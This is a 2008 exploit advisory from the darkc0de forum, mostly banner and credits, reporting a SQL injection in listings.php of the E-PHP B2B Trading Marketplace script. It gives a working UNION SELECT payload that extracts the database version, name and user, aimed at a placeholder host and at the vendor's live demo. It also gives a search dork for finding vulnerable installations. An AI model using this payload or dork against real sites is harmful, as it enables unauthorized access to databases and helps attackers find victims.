Home / exploits ephpb2b-sql.txt
Posted on 08 September 2008
################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ _ __| _/____ # # / __ |\__ \_ __ |/ // ___/ /_ / __ |/ __ # # / /_/ | / __ | | / < \___ \_/ / /_/ ___/ # # \____ |(______/__| |__|_ \_____>\_____ /\_____|\____ # # / / / # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ / / / # # \___| | / ___/ / # # \___ >__| \___ >/\_/ # # est.2007 / / forum.darkc0de.com # ################################################################ # --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# # --- P47r1ck- skillfaker - FeDeReR - Optyx - Nuclear # and all darkc0de members ---# ################################################################ # # Author: r45c4l # # Home : www.darkc0de.com # # Email : r45c4l@hotmail.com # # Share the c0de! # ################################################################ # # Exploit: SQL Injection in E-PHP B2B TRADING MARKATEPLACE SCRIPTS # # # App Name: E-PHP B2B TRADING MARKATEPLACE SCRIPTS # # App Home: http://www.ephpscripts.com/b2b-trading-portal.php (cost of the CMS = 175 EUR) # # Exploit is in listings.php and u can see the details is the tittle bar of your browser # # # # # # # POC: http://site.com/[script]/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8-- # # Live Demo: # http://www.ephpscripts.com/demo/b2b_bryan/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8-- # # # Dork: Powered by ephpscripts # # # # # # # # ################################################################ # Vuln Discovered 7th Sep 2008
